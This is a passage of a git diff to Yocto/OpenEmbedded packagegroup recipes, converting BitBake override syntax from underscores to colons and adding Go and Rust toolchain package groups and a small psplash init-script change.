-RRECOMMENDS_packagegroup-distro-base = "${DISTRO_EXTRA_RRECOMMENDS}"
+RDEPENDS:packagegroup-distro-base = "${DISTRO_EXTRA_RDEPENDS}"
+RRECOMMENDS:packagegroup-distro-base = "${DISTRO_EXTRA_RRECOMMENDS}"
#
# packages added by machine config
#
-SUMMARY_packagegroup-machine-base = "${MACHINE} extras"
-SUMMARY_packagegroup-machine-base = "Extra packages required to fully support ${MACHINE} hardware"
-RDEPENDS_packagegroup-machine-base = "${MACHINE_EXTRA_RDEPENDS}"
-RRECOMMENDS_packagegroup-machine-base = "${MACHINE_EXTRA_RRECOMMENDS}"
+SUMMARY:packagegroup-machine-base = "${MACHINE} extras"
+SUMMARY:packagegroup-machine-base = "Extra packages required to fully support ${MACHINE} hardware"
+RDEPENDS:packagegroup-machine-base = "${MACHINE_EXTRA_RDEPENDS}"
+RRECOMMENDS:packagegroup-machine-base = "${MACHINE_EXTRA_RRECOMMENDS}"
-SUMMARY_packagegroup-base-keyboard = "Keyboard support"
-RDEPENDS_packagegroup-base-keyboard = "\
+SUMMARY:packagegroup-base-keyboard = "Keyboard support"
+RDEPENDS:packagegroup-base-keyboard = "\
${VIRTUAL-RUNTIME_keymaps}"
-SUMMARY_packagegroup-base-pci = "PCI bus support"
-RDEPENDS_packagegroup-base-pci = "\
+SUMMARY:packagegroup-base-pci = "PCI bus support"
+RDEPENDS:packagegroup-base-pci = "\
pciutils"
-SUMMARY_packagegroup-base-acpi = "ACPI support"
-RDEPENDS_packagegroup-base-acpi = "\
+SUMMARY:packagegroup-base-acpi = "ACPI support"
+RDEPENDS:packagegroup-base-acpi = "\
acpid"
-SUMMARY_packagegroup-base-apm = "APM support"
-RDEPENDS_packagegroup-base-apm = "\
+SUMMARY:packagegroup-base-apm = "APM support"
+RDEPENDS:packagegroup-base-apm = "\
${VIRTUAL-RUNTIME_apm} \
apmd"
-SUMMARY_packagegroup-base-ext2 = "ext2 filesystem support"
-RDEPENDS_packagegroup-base-ext2 = "\
- hdparm \
- e2fsprogs \
+SUMMARY:packagegroup-base-ext2 = "ext2 filesystem support"
+RDEPENDS:packagegroup-base-ext2 = "\
e2fsprogs-e2fsck \
e2fsprogs-mke2fs"
-SUMMARY_packagegroup-base-vfat = "FAT filesystem support"
-RRECOMMENDS_packagegroup-base-vfat = "\
+RRECOMMENDS:packagegroup-base-ext2 = "\
+ hdparm \
+ e2fsprogs"
+
+SUMMARY:packagegroup-base-vfat = "FAT filesystem support"
+RRECOMMENDS:packagegroup-base-vfat = "\
kernel-module-msdos \
kernel-module-vfat \
kernel-module-nls-iso8859-1 \
kernel-module-nls-cp437 \
dosfstools"
-SUMMARY_packagegroup-base-alsa = "ALSA sound support"
-RDEPENDS_packagegroup-base-alsa = "\
+SUMMARY:packagegroup-base-alsa = "ALSA sound support"
+RDEPENDS:packagegroup-base-alsa = "\
alsa-utils-alsactl \
- alsa-utils-alsamixer \
+ alsa-utils-amixer \
${VIRTUAL-RUNTIME_alsa-state}"
-RRECOMMENDS_packagegroup-base-alsa = "\
+RRECOMMENDS:packagegroup-base-alsa = "\
kernel-module-snd-mixer-oss \
kernel-module-snd-pcm-oss"
-SUMMARY_packagegroup-base-pcmcia = "PC card slot support"
-RDEPENDS_packagegroup-base-pcmcia = "\
+SUMMARY:packagegroup-base-pcmcia = "PC card slot support"
+RDEPENDS:packagegroup-base-pcmcia = "\
pcmciautils \
"
-RRECOMMENDS_packagegroup-base-pcmcia = "\
+RRECOMMENDS:packagegroup-base-pcmcia = "\
kernel-module-pcmcia \
kernel-module-airo-cs \
kernel-module-pcnet-cs \
@@ -196,12 +197,12 @@ RRECOMMENDS_packagegroup-base-pcmcia = "\
${@bb.utils.contains('DISTRO_FEATURES', 'wifi', 'kernel-module-orinoco-cs', '',d)} \
${@bb.utils.contains('DISTRO_FEATURES', 'wifi', 'kernel-module-spectrum-cs', '',d)}"
-SUMMARY_packagegroup-base-bluetooth = "Bluetooth support"
-RDEPENDS_packagegroup-base-bluetooth = "\
+SUMMARY:packagegroup-base-bluetooth = "Bluetooth support"
+RDEPENDS:packagegroup-base-bluetooth = "\
bluez5 \
"
-RRECOMMENDS_packagegroup-base-bluetooth = "\
+RRECOMMENDS:packagegroup-base-bluetooth = "\
kernel-module-bluetooth \
kernel-module-l2cap \
kernel-module-rfcomm \
@@ -217,19 +218,19 @@ RRECOMMENDS_packagegroup-base-bluetooth = "\
${@bb.utils.contains('COMBINED_FEATURES', 'pcmcia', 'kernel-module-dtl1-cs', '',d)} \
"
-SUMMARY_packagegroup-base-usbgadget = "USB gadget support"
-RRECOMMENDS_packagegroup-base-usbgadget = "\
+SUMMARY:packagegroup-base-usbgadget = "USB gadget support"
+RRECOMMENDS:packagegroup-base-usbgadget = "\
kernel-module-pxa27x_udc \
kernel-module-gadgetfs \
kernel-module-g-file-storage \
kernel-module-g-serial \
kernel-module-g-ether"
-SUMMARY_packagegroup-base-usbhost = "USB host support"
-RDEPENDS_packagegroup-base-usbhost = "\
+SUMMARY:packagegroup-base-usbhost = "USB host support"
+RDEPENDS:packagegroup-base-usbhost = "\
usbutils "
-RRECOMMENDS_packagegroup-base-usbhost = "\
+RRECOMMENDS:packagegroup-base-usbhost = "\
kernel-module-uhci-hcd \
kernel-module-ohci-hcd \
kernel-module-ehci-hcd \
@@ -243,36 +244,36 @@ RRECOMMENDS_packagegroup-base-usbhost = "\
kernel-module-usbserial \
kernel-module-usb-storage "
-SUMMARY_packagegroup-base-ppp = "PPP dial-up protocol support"
-RDEPENDS_packagegroup-base-ppp = "\
+SUMMARY:packagegroup-base-ppp = "PPP dial-up protocol support"
+RDEPENDS:packagegroup-base-ppp = "\
ppp \
ppp-dialin"
-RRECOMMENDS_packagegroup-base-ppp = "\
+RRECOMMENDS:packagegroup-base-ppp = "\
kernel-module-ppp-async \
kernel-module-ppp-deflate \
kernel-module-ppp-generic \
kernel-module-ppp-mppe \
kernel-module-slhc"
-SUMMARY_packagegroup-base-ipsec = "IPSEC support"
-RDEPENDS_packagegroup-base-ipsec = "\
+SUMMARY:packagegroup-base-ipsec = "IPSEC support"
+RDEPENDS:packagegroup-base-ipsec = "\
"
-RRECOMMENDS_packagegroup-base-ipsec = "\
+RRECOMMENDS:packagegroup-base-ipsec = "\
kernel-module-ipsec"
#
# packagegroup-base-wifi contain everything needed to get WiFi working
# WEP/WPA connection needs to be supported out-of-box
#
-SUMMARY_packagegroup-base-wifi = "WiFi support"
-RDEPENDS_packagegroup-base-wifi = "\
+SUMMARY:packagegroup-base-wifi = "WiFi support"
+RDEPENDS:packagegroup-base-wifi = "\
iw \
wireless-regdb-static \
wpa-supplicant"
-RRECOMMENDS_packagegroup-base-wifi = "\
+RRECOMMENDS:packagegroup-base-wifi = "\
${@bb.utils.contains('COMBINED_FEATURES', 'usbhost', 'kernel-module-zd1211rw', '',d)} \
kernel-module-ieee80211-crypt \
kernel-module-ieee80211-crypt-ccmp \
@@ -286,59 +287,59 @@ RRECOMMENDS_packagegroup-base-wifi = "\
kernel-module-aes-generic \
kernel-module-aes"
-SUMMARY_packagegroup-base-nfc = "Near Field Communication support"
-RDEPENDS_packagegroup-base-nfc = "\
+SUMMARY:packagegroup-base-nfc = "Near Field Communication support"
+RDEPENDS:packagegroup-base-nfc = "\
neard"
-RRECOMMENDS_packagegroup-base-nfc = "\
+RRECOMMENDS:packagegroup-base-nfc = "\
kernel-module-nfc"
-SUMMARY_packagegroup-base-3g = "Cellular data support"
-RDEPENDS_packagegroup-base-3g = "\
+SUMMARY:packagegroup-base-3g = "Cellular data support"
+RDEPENDS:packagegroup-base-3g = "\
ofono"
-RRECOMMENDS_packagegroup-base-3g = "\
+RRECOMMENDS:packagegroup-base-3g = "\
kernel-module-cdc-acm \
kernel-module-cdc-wdm"
-SUMMARY_packagegroup-base-smbfs = "SMB network filesystem support"
-RRECOMMENDS_packagegroup-base-smbfs = "\
+SUMMARY:packagegroup-base-smbfs = "SMB network filesystem support"
+RRECOMMENDS:packagegroup-base-smbfs = "\
kernel-module-cifs \
kernel-module-smbfs"
-SUMMARY_packagegroup-base-cramfs = "cramfs filesystem support"
-RRECOMMENDS_packagegroup-base-cramfs = "\
+SUMMARY:packagegroup-base-cramfs = "cramfs filesystem support"
+RRECOMMENDS:packagegroup-base-cramfs = "\
kernel-module-cramfs"
#
# packagegroup-base-nfs provides ONLY client support - server is in nfs-utils package
#
-SUMMARY_packagegroup-base-nfs = "NFS network filesystem support"
-RDEPENDS_packagegroup-base-nfs = "\
+SUMMARY:packagegroup-base-nfs = "NFS network filesystem support"
+RDEPENDS:packagegroup-base-nfs = "\
rpcbind"
-RRECOMMENDS_packagegroup-base-nfs = "\
+RRECOMMENDS:packagegroup-base-nfs = "\
kernel-module-nfs "
-SUMMARY_packagegroup-base-zeroconf = "Zeroconf support"
-RDEPENDS_packagegroup-base-zeroconf = "\
+SUMMARY:packagegroup-base-zeroconf = "Zeroconf support"
+RDEPENDS:packagegroup-base-zeroconf = "\
avahi-daemon"
-RDEPENDS_packagegroup-base-zeroconf_append_libc-glibc = "\
+RDEPENDS:packagegroup-base-zeroconf:append:libc-glibc = "\
libnss-mdns \
"
-SUMMARY_packagegroup-base-ipv6 = "IPv6 support"
-RDEPENDS_packagegroup-base-ipv6 = "\
+SUMMARY:packagegroup-base-ipv6 = "IPv6 support"
+RDEPENDS:packagegroup-base-ipv6 = "\
"
-RRECOMMENDS_packagegroup-base-ipv6 = "\
+RRECOMMENDS:packagegroup-base-ipv6 = "\
kernel-module-ipv6 "
-SUMMARY_packagegroup-base-serial = "Serial port support"
-RDEPENDS_packagegroup-base-serial = "\
+SUMMARY:packagegroup-base-serial = "Serial port support"
+RDEPENDS:packagegroup-base-serial = "\
setserial \
lrzsz "
-SUMMARY_packagegroup-base-phone = "Cellular telephony (voice) support"
-RDEPENDS_packagegroup-base-phone = "\
+SUMMARY:packagegroup-base-phone = "Cellular telephony (voice) support"
+RDEPENDS:packagegroup-base-phone = "\
ofono"
diff --git a/meta/recipes-core/packagegroups/packagegroup-core-boot.bb b/meta/recipes-core/packagegroups/packagegroup-core-boot.bb
index abbee14bd4..faf7bc0026 100644
--- a/meta/recipes-core/packagegroups/packagegroup-core-boot.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-core-boot.bb
@@ -22,7 +22,7 @@ SYSVINIT_SCRIPTS = "${@bb.utils.contains('MACHINE_FEATURES', 'rtc', '${VIRTUAL-R
${VIRTUAL-RUNTIME_initscripts} \
"
-RDEPENDS_${PN} = "\
+RDEPENDS:${PN} = "\
base-files \
base-passwd \
${VIRTUAL-RUNTIME_base-utils} \
@@ -36,6 +36,6 @@ RDEPENDS_${PN} = "\
${VIRTUAL-RUNTIME_update-alternatives} \
${MACHINE_ESSENTIAL_EXTRA_RDEPENDS}"
-RRECOMMENDS_${PN} = "\
+RRECOMMENDS:${PN} = "\
${VIRTUAL-RUNTIME_base-utils-syslog} \
${MACHINE_ESSENTIAL_EXTRA_RRECOMMENDS}"
diff --git a/meta/recipes-core/packagegroups/packagegroup-core-buildessential.bb b/meta/recipes-core/packagegroups/packagegroup-core-buildessential.bb
index 78cc65db87..2cd67ad05f 100644
--- a/meta/recipes-core/packagegroups/packagegroup-core-buildessential.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-core-buildessential.bb
@@ -5,9 +5,12 @@
SUMMARY = "Essential build dependencies"
+# libstdc++ gets debian renamed
+PACKAGE_ARCH = "${TUNE_PKGARCH}"
+
inherit packagegroup
-RDEPENDS_packagegroup-core-buildessential = "\
+RDEPENDS:packagegroup-core-buildessential = "\
autoconf \
automake \
binutils \
diff --git a/meta/recipes-core/packagegroups/packagegroup-core-eclipse-debug.bb b/meta/recipes-core/packagegroups/packagegroup-core-eclipse-debug.bb
index c45463fc6c..4e91aaf47b 100644
--- a/meta/recipes-core/packagegroups/packagegroup-core-eclipse-debug.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-core-eclipse-debug.bb
@@ -2,7 +2,7 @@ SUMMARY = "Remote debugging tools for Eclipse integration"
inherit packagegroup
-RDEPENDS_${PN} = "\
+RDEPENDS:${PN} = "\
gdbserver \
tcf-agent \
openssh-sftp-server \
diff --git a/meta/recipes-core/packagegroups/packagegroup-core-nfs.bb b/meta/recipes-core/packagegroups/packagegroup-core-nfs.bb
index b345e314ad..35beb3fc05 100644
--- a/meta/recipes-core/packagegroups/packagegroup-core-nfs.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-core-nfs.bb
@@ -7,14 +7,13 @@ PR = "r2"
inherit packagegroup
-PROVIDES = "${PACKAGES}"
PACKAGES = "${PN}-server ${PN}-client"
-SUMMARY_${PN}-client = "NFS client"
-RDEPENDS_${PN}-client = "nfs-utils-client"
+SUMMARY:${PN}-client = "NFS client"
+RDEPENDS:${PN}-client = "nfs-utils-client"
-SUMMARY_${PN}-server = "NFS server"
-RDEPENDS_${PN}-server = "\
+SUMMARY:${PN}-server = "NFS server"
+RDEPENDS:${PN}-server = "\
nfs-utils \
nfs-utils-client \
"
diff --git a/meta/recipes-core/packagegroups/packagegroup-core-sdk.bb b/meta/recipes-core/packagegroups/packagegroup-core-sdk.bb
index 03fa5296c1..d70aff22c7 100644
--- a/meta/recipes-core/packagegroups/packagegroup-core-sdk.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-core-sdk.bb
@@ -11,7 +11,7 @@ inherit packagegroup
#PACKAGEFUNCS =+ 'generate_sdk_pkgs'
-RDEPENDS_packagegroup-core-sdk = "\
+RDEPENDS:packagegroup-core-sdk = "\
packagegroup-core-buildessential \
coreutils \
ccache \
@@ -26,15 +26,15 @@ RDEPENDS_packagegroup-core-sdk = "\
tcl"
SANITIZERS = "libasan-dev libubsan-dev"
-SANITIZERS_arc = ""
-SANITIZERS_microblaze = ""
-SANITIZERS_mipsarch = ""
-SANITIZERS_nios2 = ""
-SANITIZERS_riscv64 = ""
-SANITIZERS_riscv32 = ""
-SANITIZERS_libc-musl = ""
+SANITIZERS:arc = ""
+SANITIZERS:microblaze = ""
+SANITIZERS:mipsarch = ""
+SANITIZERS:nios2 = ""
+SANITIZERS:riscv64 = ""
+SANITIZERS:riscv32 = ""
+SANITIZERS:libc-musl = ""
-RRECOMMENDS_packagegroup-core-sdk = "\
+RRECOMMENDS:packagegroup-core-sdk = "\
libgomp \
libgomp-dev \
${SANITIZERS}"
@@ -53,7 +53,7 @@ RRECOMMENDS_packagegroup-core-sdk = "\
# # the package depchain code
# spkgdata = read_subpkgdata(pkg, d)
#
-# rdepends = explode_deps(spkgdata.get('RDEPENDS_%s' % pkg) or '')
+# rdepends = explode_deps(spkgdata.get('RDEPENDS:%s' % pkg) or '')
# rreclist = []
#
# for depend in rdepends:
@@ -63,16 +63,16 @@ RRECOMMENDS_packagegroup-core-sdk = "\
# rreclist.append('%s-dev' % name)
# else:
# deppkgdata = read_subpkgdata(name, d)
-# rdepends2 = explode_deps(deppkgdata.get('RDEPENDS_%s' % name) or '')
+# rdepends2 = explode_deps(deppkgdata.get('RDEPENDS:%s' % name) or '')
# for depend in rdepends2:
# split_depend = depend.split(' (')
# name = split_depend[0].strip()
# if packaged('%s-dev' % name, d):
# rreclist.append('%s-dev' % name)
#
-# oldrrec = d.getVar('RRECOMMENDS_%s' % newpkg, False) or ''
-# d.setVar('RRECOMMENDS_%s' % newpkg, oldrrec + ' ' + ' '.join(rreclist))
-# # bb.note('RRECOMMENDS_%s = "%s"' % (newpkg, d.getVar('RRECOMMENDS_%s' % newpkg, False)))
+# oldrrec = d.getVar('RRECOMMENDS:%s' % newpkg, False) or ''
+# d.setVar('RRECOMMENDS:%s' % newpkg, oldrrec + ' ' + ' '.join(rreclist))
+# # bb.note('RRECOMMENDS:%s = "%s"' % (newpkg, d.getVar('RRECOMMENDS:%s' % newpkg, False)))
#
# # bb.note('pkgs is %s' % pkgs)
# d.setVar('PACKAGES', ' '.join(pkgs))
diff --git a/meta/recipes-core/packagegroups/packagegroup-core-ssh-dropbear.bb b/meta/recipes-core/packagegroups/packagegroup-core-ssh-dropbear.bb
index 5ec3f6c927..4f844ad925 100644
--- a/meta/recipes-core/packagegroups/packagegroup-core-ssh-dropbear.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-core-ssh-dropbear.bb
@@ -3,4 +3,4 @@ PR = "r1"
inherit packagegroup
-RDEPENDS_${PN} = "dropbear"
+RDEPENDS:${PN} = "dropbear"
diff --git a/meta/recipes-core/packagegroups/packagegroup-core-ssh-openssh.bb b/meta/recipes-core/packagegroups/packagegroup-core-ssh-openssh.bb
index 703f956aea..846df12bc7 100644
--- a/meta/recipes-core/packagegroups/packagegroup-core-ssh-openssh.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-core-ssh-openssh.bb
@@ -3,4 +3,4 @@ PR = "r1"
inherit packagegroup
-RDEPENDS_${PN} = "openssh"
+RDEPENDS:${PN} = "openssh"
diff --git a/meta/recipes-core/packagegroups/packagegroup-core-standalone-sdk-target.bb b/meta/recipes-core/packagegroups/packagegroup-core-standalone-sdk-target.bb
index 2a54f1ca3e..5ebcbcec82 100644
--- a/meta/recipes-core/packagegroups/packagegroup-core-standalone-sdk-target.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-core-standalone-sdk-target.bb
@@ -5,7 +5,7 @@ PACKAGE_ARCH = "${TUNE_PKGARCH}"
inherit packagegroup
-RDEPENDS_${PN} = "\
+RDEPENDS:${PN} = "\
libgcc \
libgcc-dev \
libatomic \
@@ -15,7 +15,7 @@ RDEPENDS_${PN} = "\
${LIBC_DEPENDENCIES} \
"
-RRECOMMENDS_${PN}_mingw32 = "\
+RRECOMMENDS:${PN}:mingw32 = "\
libssp \
libssp-dev \
"
diff --git a/meta/recipes-core/packagegroups/packagegroup-core-tools-debug.bb b/meta/recipes-core/packagegroups/packagegroup-core-tools-debug.bb
index 542a02057c..c75850aa64 100644
--- a/meta/recipes-core/packagegroups/packagegroup-core-tools-debug.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-core-tools-debug.bb
@@ -11,12 +11,12 @@ inherit packagegroup
PR = "r3"
MTRACE = ""
-MTRACE_libc-glibc = "libc-mtrace"
+MTRACE:libc-glibc = "libc-mtrace"
STRACE = "strace"
-STRACE_riscv32 = ""
+STRACE:riscv32 = ""
-RDEPENDS_${PN} = "\
+RDEPENDS:${PN} = "\
gdb \
gdbserver \
${MTRACE} \
diff --git a/meta/recipes-core/packagegroups/packagegroup-core-tools-profile.bb b/meta/recipes-core/packagegroups/packagegroup-core-tools-profile.bb
index b8e2c718e6..84eb46b9c2 100644
--- a/meta/recipes-core/packagegroups/packagegroup-core-tools-profile.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-core-tools-profile.bb
@@ -12,11 +12,11 @@ inherit packagegroup
PROFILE_TOOLS_X = ""
# sysprof doesn't support aarch64 and nios2
-PROFILE_TOOLS_X_aarch64 = ""
-PROFILE_TOOLS_X_nios2 = ""
+PROFILE_TOOLS_X:aarch64 = ""
+PROFILE_TOOLS_X:nios2 = ""
PROFILE_TOOLS_SYSTEMD = "${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'systemd-analyze', '', d)}"
-RRECOMMENDS_${PN} = "\
+RRECOMMENDS:${PN} = "\
${PERF} \
blktrace \
${PROFILE_TOOLS_X} \
@@ -27,19 +27,20 @@ PROFILETOOLS = "\
powertop \
"
PERF = "perf"
-PERF_libc-musl = ""
-PERF_libc-musl_arm = "perf"
-PERF_riscv32 = ""
+PERF:libc-musl = ""
+PERF:libc-musl:arm = "perf"
+PERF:riscv32 = ""
# systemtap needs elfutils which is not fully buildable on some arches/libcs
SYSTEMTAP = "systemtap"
-SYSTEMTAP_libc-musl = ""
-SYSTEMTAP_nios2 = ""
-SYSTEMTAP_riscv64 = ""
+SYSTEMTAP:libc-musl = ""
+SYSTEMTAP:nios2 = ""
+SYSTEMTAP:riscv64 = ""
+SYSTEMTAP:riscv32 = ""
LTTNGTOOLS = "lttng-tools"
-LTTNGTOOLS_arc = ""
-LTTNGTOOLS_riscv32 = ""
+LTTNGTOOLS:arc = ""
+LTTNGTOOLS:riscv32 = ""
BABELTRACE = "babeltrace"
BABELTRACE2 = "babeltrace2"
@@ -47,21 +48,22 @@ BABELTRACE2 = "babeltrace2"
# valgrind does not work on the following configurations/architectures
VALGRIND = "valgrind"
-VALGRIND_libc-musl = ""
-VALGRIND_mipsarch = ""
-VALGRIND_nios2 = ""
-VALGRIND_arc = ""
-VALGRIND_armv4 = ""
-VALGRIND_armv5 = ""
-VALGRIND_armv6 = ""
-VALGRIND_armeb = ""
-VALGRIND_aarch64 = ""
-VALGRIND_riscv64 = ""
-VALGRIND_powerpc = "${@bb.utils.contains('TARGET_FPU', 'soft', '', 'valgrind', d)}"
-VALGRIND_linux-gnux32 = ""
-VALGRIND_linux-gnun32 = ""
+VALGRIND:libc-musl = ""
+VALGRIND:mipsarch = ""
+VALGRIND:nios2 = ""
+VALGRIND:arc = ""
+VALGRIND:armv4 = ""
+VALGRIND:armv5 = ""
+VALGRIND:armv6 = ""
+VALGRIND:armeb = ""
+VALGRIND:aarch64 = ""
+VALGRIND:riscv64 = ""
+VALGRIND:riscv32 = ""
+VALGRIND:powerpc = "${@bb.utils.contains('TARGET_FPU', 'soft', '', 'valgrind', d)}"
+VALGRIND:linux-gnux32 = ""
+VALGRIND:linux-gnun32 = ""
-RDEPENDS_${PN} = "\
+RDEPENDS:${PN} = "\
${PROFILETOOLS} \
${LTTNGTOOLS} \
${BABELTRACE} \
diff --git a/meta/recipes-core/packagegroups/packagegroup-core-tools-testapps.bb b/meta/recipes-core/packagegroups/packagegroup-core-tools-testapps.bb
index a5fc152859..e05e329020 100644
--- a/meta/recipes-core/packagegroups/packagegroup-core-tools-testapps.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-core-tools-testapps.bb
@@ -12,13 +12,23 @@ inherit packagegroup
# kexec-tools doesn't work on e5500-64b, microblaze and nios2 yet
KEXECTOOLS ?= "kexec"
-KEXECTOOLS_e5500-64b ?= ""
-KEXECTOOLS_microblaze ?= ""
-KEXECTOOLS_nios2 ?= ""
-KEXECTOOLS_riscv64 ?= ""
+KEXECTOOLS:e5500-64b ?= ""
+KEXECTOOLS:microblaze ?= ""
+KEXECTOOLS:nios2 ?= ""
+KEXECTOOLS:riscv64 ?= ""
+KEXECTOOLS:riscv32 ?= ""
+
+# go does not support ppc32, only ppc64
+# https://github.com/golang/go/issues/22885
+# gccgo may do better
+GOTOOLS ?= "go-helloworld"
+GOTOOLS:powerpc ?= ""
+GOTOOLS:riscv32 ?= ""
+
+RUSTTOOLS ?= "rust-hello-world"
GSTEXAMPLES ?= "gst-examples"
-GSTEXAMPLES_riscv64 = ""
+GSTEXAMPLES:riscv64 = ""
X11GLTOOLS = "\
mesa-demos \
@@ -36,7 +46,7 @@ X11TOOLS = "\
xprop \
"
-RDEPENDS_${PN} = "\
+RDEPENDS:${PN} = "\
blktool \
${KEXECTOOLS} \
alsa-utils-amixer \
@@ -48,4 +58,6 @@ RDEPENDS_${PN} = "\
${@bb.utils.contains('DISTRO_FEATURES', 'x11', "${X11TOOLS}", "", d)} \
${@bb.utils.contains('DISTRO_FEATURES', 'x11 opengl', "${X11GLTOOLS}", "", d)} \
${@bb.utils.contains('DISTRO_FEATURES', '3g', "${3GTOOLS}", "", d)} \
+ ${GOTOOLS} \
+ ${RUSTTOOLS} \
"
diff --git a/meta/recipes-core/packagegroups/packagegroup-cross-canadian.bb b/meta/recipes-core/packagegroups/packagegroup-cross-canadian.bb
index 3b430c0814..49c075eb11 100644
--- a/meta/recipes-core/packagegroups/packagegroup-cross-canadian.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-cross-canadian.bb
@@ -10,7 +10,7 @@ BINUTILS = "binutils-cross-canadian-${TRANSLATED_TARGET_ARCH}"
GCC = "gcc-cross-canadian-${TRANSLATED_TARGET_ARCH}"
GDB = "gdb-cross-canadian-${TRANSLATED_TARGET_ARCH}"
-RDEPENDS_${PN} = "\
+RDEPENDS:${PN} = "\
${@all_multilib_tune_values(d, 'BINUTILS')} \
${@all_multilib_tune_values(d, 'GCC')} \
${@all_multilib_tune_values(d, 'GDB')} \
diff --git a/meta/recipes-core/packagegroups/packagegroup-go-cross-canadian.bb b/meta/recipes-core/packagegroups/packagegroup-go-cross-canadian.bb
index 3daace1a40..d0596efe7a 100644
--- a/meta/recipes-core/packagegroups/packagegroup-go-cross-canadian.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-go-cross-canadian.bb
@@ -7,6 +7,6 @@ PACKAGEGROUP_DISABLE_COMPLEMENTARY = "1"
GO = "go-cross-canadian-${TRANSLATED_TARGET_ARCH}"
-RDEPENDS_${PN} = " \
+RDEPENDS:${PN} = " \
${@all_multilib_tune_values(d, 'GO')} \
"
diff --git a/meta/recipes-core/packagegroups/packagegroup-go-sdk-target.bb b/meta/recipes-core/packagegroups/packagegroup-go-sdk-target.bb
index 9a52b0781c..61629d273c 100644
--- a/meta/recipes-core/packagegroups/packagegroup-go-sdk-target.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-go-sdk-target.bb
@@ -2,7 +2,7 @@ SUMMARY = "Target packages for the Go SDK"
inherit packagegroup goarch
-RDEPENDS_${PN} = " \
+RDEPENDS:${PN} = " \
go \
go-runtime \
go-runtime-dev \
diff --git a/meta/recipes-core/packagegroups/packagegroup-rust-cross-canadian.bb b/meta/recipes-core/packagegroups/packagegroup-rust-cross-canadian.bb
new file mode 100644
index 0000000000..0d4f5ec9ef
--- /dev/null
+++ b/meta/recipes-core/packagegroups/packagegroup-rust-cross-canadian.bb
@@ -0,0 +1,18 @@
+SUMMARY = "Host SDK package for Rust cross canadian toolchain"
+PN = "packagegroup-rust-cross-canadian-${MACHINE}"
+
+inherit cross-canadian packagegroup
+
+PACKAGEGROUP_DISABLE_COMPLEMENTARY = "1"
+
+RUST="rust-cross-canadian-${TRANSLATED_TARGET_ARCH}"
+CARGO="cargo-cross-canadian-${TRANSLATED_TARGET_ARCH}"
+RUST_TOOLS="rust-tools-cross-canadian-${TRANSLATED_TARGET_ARCH}"
+
+RDEPENDS:${PN} = " \
+ ${@all_multilib_tune_values(d, 'RUST')} \
+ ${@all_multilib_tune_values(d, 'CARGO')} \
+ rust-cross-canadian-src \
+ ${@all_multilib_tune_values(d, 'RUST_TOOLS')} \
+"
+
diff --git a/meta/recipes-core/packagegroups/packagegroup-self-hosted.bb b/meta/recipes-core/packagegroups/packagegroup-self-hosted.bb
index 9a70b189a4..9523aadd15 100644
--- a/meta/recipes-core/packagegroups/packagegroup-self-hosted.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-self-hosted.bb
@@ -24,7 +24,7 @@ PACKAGES = "\
packagegroup-self-hosted-host-tools \
"
-RDEPENDS_packagegroup-self-hosted = "\
+RDEPENDS:packagegroup-self-hosted = "\
packagegroup-self-hosted-debug \
packagegroup-self-hosted-sdk \
packagegroup-self-hosted-extended \
@@ -32,7 +32,7 @@ RDEPENDS_packagegroup-self-hosted = "\
packagegroup-self-hosted-host-tools \
"
-RDEPENDS_packagegroup-self-hosted-host-tools = "\
+RDEPENDS:packagegroup-self-hosted-host-tools = "\
e2fsprogs \
e2fsprogs-e2fsck \
e2fsprogs-mke2fs \
@@ -49,9 +49,9 @@ RDEPENDS_packagegroup-self-hosted-host-tools = "\
screen \
"
PSEUDO = "pseudo"
-PSEUDO_libc-musl = ""
+PSEUDO:libc-musl = ""
-RRECOMMENDS_packagegroup-self-hosted-host-tools = "\
+RRECOMMENDS:packagegroup-self-hosted-host-tools = "\
kernel-module-tun \
kernel-module-iptable-raw \
kernel-module-iptable-nat \
@@ -59,7 +59,7 @@ RRECOMMENDS_packagegroup-self-hosted-host-tools = "\
kernel-module-iptable-filter \
"
-RDEPENDS_packagegroup-self-hosted-sdk = "\
+RDEPENDS:packagegroup-self-hosted-sdk = "\
autoconf \
automake \
binutils \
@@ -87,18 +87,18 @@ RDEPENDS_packagegroup-self-hosted-sdk = "\
quilt \
sed \
"
-RDEPENDS_packagegroup-self-hosted-sdk_append_mingw32 = "\
+RDEPENDS:packagegroup-self-hosted-sdk:append:mingw32 = "\
libssp \
libssp-dev \
libssp-staticdev \
"
# rpcsvc-proto: for rpcgen
-RDEPENDS_packagegroup-self-hosted-sdk_append_libc-glibc = "\
+RDEPENDS:packagegroup-self-hosted-sdk:append:libc-glibc = "\
glibc-gconv-ibm850 \
glibc-utils \
rpcsvc-proto \
"
-RDEPENDS_packagegroup-self-hosted-debug = " \
+RDEPENDS:packagegroup-self-hosted-debug = " \
gdb \
gdbserver \
rsync \
@@ -106,7 +106,7 @@ RDEPENDS_packagegroup-self-hosted-debug = " \
tcf-agent"
-RDEPENDS_packagegroup-self-hosted-extended = "\
+RDEPENDS:packagegroup-self-hosted-extended = "\
bzip2 \
chrpath \
cpio \
@@ -177,7 +177,7 @@ RDEPENDS_packagegroup-self-hosted-extended = "\
"
-RDEPENDS_packagegroup-self-hosted-graphics = "\
+RDEPENDS:packagegroup-self-hosted-graphics = "\
builder \
libgl \
libgl-dev \
diff --git a/meta/recipes-core/psplash/files/psplash-init b/meta/recipes-core/psplash/files/psplash-init
index f58e043733..e0f80bcdc0 100755
--- a/meta/recipes-core/psplash/files/psplash-init
+++ b/meta/recipes-core/psplash/files/psplash-init
@@ -7,6 +7,9 @@
# Default-Stop:
### END INIT INFO
+. /etc/default/rcS
+export PSPLASH_FIFO_DIR
+
if [ ! -e /dev/fb0 ]; then
echo "Framebuffer /dev/fb0 not detected"
echo "Boot splashscreen disabled"
@@ -23,7 +26,6 @@ for x in $CMDLINE; do
esac
done
